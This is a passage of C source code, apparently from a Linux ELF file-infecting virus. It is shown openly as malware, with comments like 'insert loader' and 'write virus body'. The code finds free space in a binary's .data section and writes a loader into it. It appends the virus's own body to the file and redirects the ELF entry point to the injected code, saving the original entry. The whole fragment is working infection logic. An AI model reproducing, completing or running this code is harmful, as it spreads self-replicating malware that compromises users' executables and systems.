	cell_t *free_space = NULL;

	/* find .data section */
	if (ehdr->e_shstrndx == SHN_UNDEF)
		goto _unmap;
	char *name, *strtab = m + shdr[ehdr->e_shstrndx].sh_offset;
	for (i = 0; i < ehdr->e_shnum; i++) {
		name = strtab + shdr[i].sh_name;
		if (*(uint32_t*)name == 0x7461642e && *(uint16_t*)(name + 4) == 0x0061)
			break;
	}

	/* find free space in it */
	free_space = check_range(m + shdr[i].sh_offset, m + shdr[i].sh_offset + shdr[i].sh_size);
	if (free_space == NULL)
		goto _unmap;

	/* patch loader */
	uint32_t nl = (l + 4095) & 0xfffff000;	
	*(uint32_t*)(g->loader[PATCH].ptr + 1) = nl;
	/* insert loader */
	if (insert_virus(free_space, g->loader) != 0) {
		/* clean the file */
		cell_t *t;
		for (t = free_space; t; t = t->next)
			bzero(t->ptr, t->len);
		goto _freel;
	}

	/* write virus body */
	ftruncate(h, nl);
	lseek(h, 0, 2);
	write(h, g->self, g->size);
	pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);
	ehdr->e_entry = ((char*)free_space->ptr - m) - shdr[i].sh_offset + shdr[i].sh_addr;

	/* write the addresses and sizes of free spaces (for clean routine */
	cell_t *t;
	uint32_t x;
	for (t = free_space; t; t = t->next)
		if (*t->ptr != 0) {
			x = ((char*)t->ptr - m) - shdr[i].sh_offset + shdr[i].sh_addr;
			write(h, &x, 4);
			write(h, &t->len, 4);
		}
